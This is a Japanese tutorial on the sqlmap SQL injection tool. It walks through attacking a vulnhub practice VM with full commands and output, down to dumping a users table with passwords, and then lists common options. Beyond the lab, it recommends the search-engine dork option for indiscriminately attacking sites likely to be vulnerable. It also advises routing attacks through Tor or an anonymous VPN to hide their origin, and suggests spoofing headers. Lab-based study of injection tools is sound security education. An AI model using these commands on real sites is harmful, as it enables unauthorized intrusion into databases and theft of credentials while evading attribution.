sqlmapはPythonで書かれたSQLインジェクションツールで、WindowsやLinux、Mac、*BSDなどPythonが使える環境で動作します。
sqlmapはSQLの知識がなくても誰でも簡単にSQLインジェクションを実行できる点で優れており、ペネトレーションテストや実際のハッキングでも使われるデファクトスタンダードなツールです。
まずは実際にsqlmapを使う流れを紹介し、その後でオプションの紹介をしたいと思います。
sqlmapを使ってみる
攻撃対象としてvulnhubの「KIOPTRIX: LEVEL 1.1 (#2)」を使います。
vulnhubは脆弱性のある仮想マシンを無料でダウンロードすることができるコミュニティサイトです。ダウンロードした仮想マシンはVMWareやVirtualBoxで動作させることができます。
ハッキングツールの使い方を学ぶにはもってこいの環境ですので、ぜひ試してみてください。
今回選んだ「KIOPTRIX: LEVEL 1.1 (#2)」はSQLインジェクションが可能なWEBアプリケーションが動いています。

URLとパラメーターを調べる
URLは分かっているのでパラメーターを調べましょう。WEBアプリケーションにパラメーターを渡すには「GETメソッド」と「POSTメソッド」の2種類あります。
GETメソッドのパラメーターはURLに含まれます。https://example.com/?id=1 のようなものがGETメソッドによるパラメーター指定です。GETメソッドは手軽なのですが、セキュリティ上の問題でPOSTメソッドのデータ送信でパラメーターを渡すことがあります。
今回の環境はPOSTメソッドでパラメーターを渡しています。メソッドや具体的なパラメーター名などはHTMLソースを見るなりBurpSuiteのようなプロキシツールを使うなり、ご自身のやりやすい方法で調べてください。
「KIOPTRIX: LEVEL 1.1 (#2)」についてはHTMLソースを見れば一発で分かります。

「method=”post”」となっているのでPOSTメソッドです。そしてパラメーターは「uname」と「psw」です。
最初にパラメーターを指定して実行してみましょう。POSTメソッドの場合は「--data」オプションでパラメーターを送信します。
$ sqlmap -u http://192.168.0.39 --data "uname=a&psw=b"
実行すると次のように尋ねられるので「Y」あるいはエンターキーを押します。
注意:デフォルトキーは大文字で表示されるので、今回はエンターキーを押すと「Y」と同じ意味になります
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n]
そうすると「POST parameter ‘psw' does not seem to be injectable」と表示されSQLインジェクションができないといった旨の警告がでます。
しかしその下を見ると次のように表示されています。
では「--level」と「--risk」を最大にしてみましょう。「--level」は最大値が「5」で「--risk」は最大値が「3」です。
$ sqlmap -u http://192.168.0.38 --data "uname=a&psw=b" --level 5 --risk 3
どうやらMySQLが動いているようです。このまま「Y」で進めます。
heuristic (extended) test shows that the back-end DBMS could be 'MySQL' it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
しばらく待つと次のように「uname」パラメーターがインジェクション可能であると表示されます。これ以上は不要なので「N」で進めましょう。
POST parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
SQLインジェクションが可能であると分かったので、どのようなデータベースが存在するのか調べます。これは「--dbs」オプションを使います。
$ sqlmap -u http://192.168.0.38 --data "uname=a&psw=b" --level 5 --risk 3 --dbs
実行するとデータベース名が表示されました。
[INFO] retrieved: webapp available databases [1]: [*] webapp
ではデータベース「webapp」にどのようなテーブルが存在するのか調べます。これは「--tables」オプションを使います。データベース名は「-D」オプションで指定します。
$ sqlmap -u http://192.168.0.38 --data "uname=a&psw=b" --level 5 --risk 3 -D webapp --tables
実行するとテーブルを取得できないというメッセージが表示されています。「N」で進めましょう。
[WARNING] unable to retrieve the number of tables for database 'webapp' [INFO] fetching number of tables for database 'webapp' [INFO] retrieved: [INFO] retrieved: [ERROR] unable to retrieve the table names for any database do you want to use common table existence check? [y/N/q] N No tables found
もう一度実行して、今度は「do you want to use common table existence check? [y/N/q]」で「y」と入力して進めます。今度はうまくいきました。
[1 table] +-------+ | users | +-------+
それではこのテーブルの中身を表示します。「-T」オプションでテーブルを指定し「--dump」オプションを使ってテーブル内容を表示させます。
$ sqlmap -u http://192.168.0.39 --data "uname=a&psw=b" --level 5 --risk 3 -D webapp -T users --dump
ユーザー名とパスワードを引き出して表示させることに成功しました。
Database: webapp Table: users [2 entries] +----+------------+----------+ | id | password | username | +----+------------+----------+ | 1 | 5afac8d85f | admin | | 2 | 66lajGGbla | john | +----+------------+----------+
これが基本的なsqlmapの使い方です。
sqlmapのパラメーター
sqlmapは多くのパラメーターがありますがすべて使うわけではないので、よく使うものを中心にご紹介します。
ターゲットの指定
-u | --url
通常は「-u」あるいは「--url」オプションでURLを指定します。
$ sqlmap -u https://example.com/?id=1
-g
「-g」オプションで検索エンジンの検索結果に対して順次実行することもできます。引数には検索文字を入れます。たとえば「site:example.com filetype:php inurl:id」と検索するとexample.comドメインでPHPを実行しておりURLに「id」を含むURLを検索します。
この検索結果すべてに対してsqlmapを実行する場合は次のようにします。
$ sqlmap -g "site:example.com filetype:php inurl:id" --batch
特定のWEBアプリケーションにぜい弱性があることが分かっていて一網打尽に攻撃を仕掛ける、あるいはSQLインジェクションを起こしそうなサイトを無差別的に攻撃する場合に適しています。
なお「--batch」は後で出てきますが、sqlmapからYES/NOを尋ねられた際にすべてデフォルトの応答を自動的におこなうためのオプションです。
リクエストオプション
-A | --agent
User-Agentを指定したい場合に使います。
$ sqlmap -u https://example.com/?id=1 --dbs -A "myUser-Agent"
-H | --header
HTTPヘッダーを指定します。プロキシサーバーで使われる「X-Forwarded-For」やAkamaiで使われる「True-client-IP」を使うと興味深い動作をすることがあります。
$ sqlmap -u https://example.com/?id=1 --dbs -H "X-Forwarded-For: 127.0.0.1"
--data
POSTメソッドでデータを送信するときに使います。使い方は冒頭でご紹介したとおりです。
--cookie
クッキーを送信したい場合に使います。
$ sqlmap -u https://example.com/?id=1 --dbs --cookie="PHPSESSID=682dos0637qu0g1l8clhs9sv7a"
--referer
リファラを送信したい場合に使います。遷移元のページURLをチェックしているWEBアプリケーションで有効です。
$ sqlmap -u https://example.com/?id=1 --dbs --referer="https://example.com/login.php"
--ignore-proxy
システム設定されているプロキシを使いたくない場合に指定します。
$ sqlmap -u https://example.com/?id=1 --dbs --ignore-proxy
--proxy
プロキシを通してsqlmapを実行したい場合に使います。
$ sqlmap -u https://example.com/?id=1 --dbs --proxy=http://127.0.0.1:8080
--tor
Tor経由でsqlmapを実行したい場合に指定します。Tor経由の場合は動作が遅くなります。遅延が大きいと正しく動作しない場合があるのでご注意ください。
$ sqlmap -u https://example.com/?id=1 --dbs --tor
Tor経由でSQLインジェクションがうまくいかない場合は匿名VPNで通信を匿名化することも検討してみてください。
--tor-port
Torのポート番号がデフォルト設定と異なる場合にポート番号を指定します。
$ sqlmap -u https://example.com/?id=1 --dbs --tor --tor-port=9999
--tor-type
Torは通常SOCKS5で動作していますが、HTTPやSOCK4で動作している場合はオプションで指定します。
$ sqlmap -u https://example.com/?id=1 --dbs --tor --tor-type=SOCKS4
--check-tor
Torを正しく使用しているか実行時に確認します。
$ sqlmap -u https://example.com/?id=1 --dbs --tor --check-tor
検出オプション
--level
レベルは1~5まであり、デフォルトは1です。
SQLインジェクション可能なポイントの検出が難しい場合はレベルを上げる必要があります。HTTPクッキーはレベル2からテストされ、User-AgentやRefererはレベル3からテストされます。
レベルについて詳細に知りたい場合、Kali Linuxであれば以下のディレクトリに定義ファイルが格納されているのでご覧ください。
/usr/share/sqlmap/data/xml/payloads/
--risk
リスクレベルは1~3まであり、デフォルトは1です。リスクレベルを3にするとデータベースのテーブルが更新される場合があるので注意してください。
レベル | 内容 |
1 | 多くの場合ターゲットに害を及ぼさないSQLインジェクションを実行する |
2 | デフォルトに加えて大量のTime-Based Blind SQLインジェクションを実行する |
3 | 検出レベルは上がるがターゲットのシステムに損害を与える可能性のあるハイリスクな手法を使う |
リスクレベルについて詳細に知りたい場合、Kali Linuxであれば以下のディレクトリに定義ファイルが格納されているのでご覧ください。
/usr/share/sqlmap/data/xml/payloads/